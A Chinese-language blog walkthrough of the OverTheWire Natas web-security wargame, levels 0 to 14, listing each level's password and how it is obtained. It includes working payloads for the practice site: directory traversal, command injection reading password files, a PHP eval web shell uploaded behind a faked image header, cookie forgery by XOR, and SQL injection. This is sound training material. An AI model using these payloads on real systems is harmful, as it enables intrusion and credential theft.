natas(level0-level14)通關詳細指南(一)

tempulcc發表於2020-09-24

很久以前玩的一個Web安全的通關遊戲Natas,每一關的地址是http://natasX.natas.labs.overthewire.org,其中X代表當前關數,預設使用者名稱是nataX(eg.natas0 是level0的使用者名稱),通過當前的一關獲取進入下一關的密碼。所有密碼儲存在/etc/natas_webpass/中(eg.level5的密碼儲存在/etc/natas_webpass/natas5,只能在第四關和第五關能夠讀取密碼)

level0

URL: http://natas0.natas.labs.overthewire.org
Username: natas0
Password: natas0

登陸,檢視原始碼,獲取密碼 gtVrDuiDfck831PqWsLEZy5gyDz1clto

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

level1

URL:http://natas1.natas.labs.overthewire.org
Username:natas1
Password:gtVrDuiDfck831PqWsLEZy5gyDz1clto 

這一關通過檢視原始碼獲得level2的密碼

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

level2

URL:http://natas2.natas.labs.overthewire.org
Username:natas2
Password:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

提示:There is nothing on this page
檢視原始碼確實沒有,但是原始碼中可以看到有/css,/js,/files三個目錄,嘗試files目錄,有資訊洩露,從users.txt中獲取level3的密碼

natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

level3

URL:http://natas3.natas.labs.overthewire.org
Username:natas3
Password:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

這關的提示:沒有資訊洩露,連google都發現不了
看到提示馬上想到robots.txt,這個檔案一般用來防爬蟲的,訪問該檔案,發現目錄/s3cr3t/

User-agent: *
Disallow: /s3cr3t/

再訪問/s3cr3t/目錄下的users.txt,獲取level4的密碼:

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

level4

URL:http://natas4.natas.labs.overthewire.org
Username:natas4
Password:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

提示:禁止訪問,授權使用者來自natas5
想到應該是偽造請求
burpsuite抓包,修改請求頭中的refer為Referer: http://natas5.natas.labs.overthewire.org/,獲取level5的密碼:Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
在這裡插入圖片描述

level5

URL:http://natas5.natas.labs.overthewire.org
Username:natas5
Password:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

提示:Access disallowed. You are not logged in
明明登陸成功,卻說沒有登陸,想到可能是cookie認證出問題,同樣用burpsuite抓個報,發現cookie中的loggedin欄位值loggedin=0,修改為loggedin=10,過關

Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

在這裡插入圖片描述

level6

URL:http://natas6.natas.labs.overthewire.org
Username:natas6 
Password:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

原始碼分析

<?
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

array_key_exists沒有漏洞,驗證post提交的值與密碼是否相同,嘗試訪問includes/secret.inc,得到$secret = "FOEIUWGHFEEUHOFUOIU"; 輸入金鑰,過關,害我還以為函式有漏洞。Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

level7

URL:http://natas7.natas.labs.overthewire.org
Username:natas7 
Password:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

提示:hint: password for webuser natas8 is in /etc/natas_webpass/natas8

嘗試目錄遍歷讀取,過關。Password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

payload:http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../etc/natas_webpass/natas8

level8

URL:http://natas8.natas.labs.overthewire.org
Username:natas8 
Password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe 

原始碼:

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

這是解密題,post引數值通過encodeScret()函式加密,加密後的值等於$encodedSecret = "3d3d516343746d4d6d6c315669563362",即已知加密演算法及加密後的值,求解加密之前的原文。
bin2hex(strrev(base64_encode($secret)))=3d3d516343746d4d6d6c315669563362
解密演算法

<?php
$encodesecret = "3d3d516343746d4d6d6c315669563362";
$encodesecret=hex2bin($encodesecret);
$encodesecret=strrev($encodesecret);//strrev — 反轉字串
$encodesecret=base64_decode($encodesecret);
print $encodesecret;
?>

找個線上執行程式碼的網站,我這裡用https://tool.lu/coderunner/,執行程式碼,得到$_POST[‘secret’]=oubWYf2kBq,進而獲得密碼:Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
在這裡插入圖片描述

level9

URL:http://natas9.natas.labs.overthewire.org
Username:natas9 
Password:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl 

原始碼:

<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {  //判斷是否存在needle
    $key = $_REQUEST["needle"];
}
if($key != "") {    
    passthru("grep -i $key dictionary.txt");  //grep -i 或 --ignore-case : 忽略字元大小寫的差別;執行命令獲取檔案dictionary.txt中的內容
}
?>

首先想到可以檢視檔案的命令有more、less、tac、cat等
構造payload:needle=cat ,沒有發現下一關的密碼,想到應該是直接讀取密碼檔案(/etc/natas_webpass/natas10)的內容,構造pyaload:needle=cat /etc/natas_webpass/natas10,不能得出結果,需要考慮語句的內容,進行拼接。
命令執行繞過
1、常用方法
使用& 、&& 、; 、| 、||繞過

連線字元方式執行方式
&&A&&BA執行成功才執行B,A執行失敗B不執行
&A&BA、B都執行
;A;Bwindows下不執行,linux下都執行
||A||BA執行成功則只執行A,否則執行B
|A|B直接執行B

基礎通用方法破解dvwa之程式碼注入,該文章裡面有講到使用不同字元對命令語句進行拼接,究竟會如何執行。
根據文章內容構造本關的payload:
?needle=|cat /etc/natas_webpass/natas10 #
?needle=;cat /etc/natas_webpass/natas10 #
?needle=&cat /etc/natas_webpass/natas10 #
最後的#可以fuzz以下,估計很多字元可以將dictionary.txt繞過掉,natas10的密碼nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

level10

URL:http://natas10.natas.labs.overthewire.org
Username:natas10 
Password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 

原始碼:

<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}
if($key != "") {
    if(preg_match('/[;|&]/',$key)) {    //過濾字元/[;|&]/
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

無法繞過grep命令,想辦法直接使用grep命令,基於grep命令可以使用正規表示式,
payload:
. /etc/natas_webpass/natas11 #
[a-zA-Z] /etc/natas_webpass/natas11 #
得到密碼:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

level11

URL:http://natas11.natas.labs.overthewire.org
Username:natas11 
Password:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK 

原始碼:

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  //異或
    }
    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    //將cookie中data的值用base64解碼,再用自定義函式xor_encrypt異或加密
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
?>

<?
if($data["showpassword"] == "yes") {   //如果data的showpassword欄位值為yes,列印natas12的密碼
    print "The password for natas12 is <censored><br>";
}
?>

根據異或的特性,如果有A XOR B =C ,則有 A XOR C =B。
已知$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff")、當前的Cookie: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D(%3D為字元=),計算key

<?php
$cookie_data='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
function xor_encrypt($in) {
    $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  //異或
    }
    return $outText;
}
print_r(xor_encrypt(base64_decode($cookie_data)));
?>

在這裡插入圖片描述
得到結果:qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq,則key=qw8J

因為只判斷$data["showpassword"] == "yes",而$data = loadData($defaultdata),函式loadData()中解密$_COOKIE["data"]的值(xor_encrypt(base64_decode($_COOKIE["data"]))),所以只要利用前面獲取到的key,對陣列array( "showpassword"=>"yes", "bgcolor"=>"#ffffff")加密,生成cookie,然後用burpsuite替換掉cookie即可。

<?php
$change_data = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  //異或
    }
    return $outText;
}
print_r(base64_encode(xor_encrypt(json_encode($change_data))));
?>

在這裡插入圖片描述
生成的cookie值為ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,再使用burpsuite替換cookie,過關。The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
在這裡插入圖片描述

level12

URL:http://natas12.natas.labs.overthewire.org
Username:natas12 
Password:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 

原始碼:

<? 
function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }
    return $string;
}
function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>

從原始碼分析,沒有校驗檔案型別,只生成了隨機命名的檔名,所以這題可以任意上傳,用burpsuite修改檔案好檔名即可
在這裡插入圖片描述
上傳程式碼ok<?php phpinfo();?>,發現函式system、eval等眾多命令執行函式都沒有禁用
在這裡插入圖片描述
上傳檔案1.php ok<?php @eval($_REQUEST['cmd']);echo 'hello!'; ?>
在這裡插入圖片描述
修改檔案字尾為php,返回檔案路徑upload/m93jo9pd4w.php

payload:upload/m93jo9pd4w.php?cmd=system('cat /etc/natas_webpass/natas13')

ps:想獲取所有關卡密碼,發現果然只能獲取當前和下一關的密碼
nstas13的password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

level13

URL:http://natas13.natas.labs.overthewire.org
Username:natas13 
Password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

這題不上全部原始碼了,基本沒區別,使用exif_imagetype()函式對圖片型別進行判斷,修改程式碼如下:

if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {//exif_imagetype — 判斷一個影像的型別
        echo "File is not an image";

那麼,上傳一張真實圖片,再用burpsuite修改圖片檔案內容及字尾名,但一定要保留好圖片的檔案頭,即最開始的幾個字元
在這裡插入圖片描述
下圖就是png的檔案頭在這裡插入圖片描述
在這裡插入圖片描述
GIF檔案的檔案頭GIF89a

在這裡插入圖片描述
保留圖片檔案頭,修改圖片內容為以下內容,然後上傳,獲取檔案返回路徑upload/1ls4ey5s8a.php

hello<br/><?php @eval($_REQUEST['cmd']);?>
payload:upload/1ls4ey5s8a.php?cmd=system('cat /etc/natas_webpass/natas14');

結果:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

level14

URL:http://natas14.natas.labs.overthewire.org
Username:natas14 
Password:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

原始碼:

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }
    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form> 

分析原始碼存在注入,對使用者輸入的username、password沒做過濾,存在debug引數,會返回sql查詢語句

測試:http://natas14.natas.labs.overthewire.org/?username=1&debug=1&password=1
Executing query: SELECT * from users where username="1" and password="1"
Access denied!

payload:username=12" or 1 #&password=12
在這裡插入圖片描述
natas15密碼:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

未完待續

level15

URL:http://natas15.natas.labs.overthewire.org
Username:natas15 
Password:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

相關文章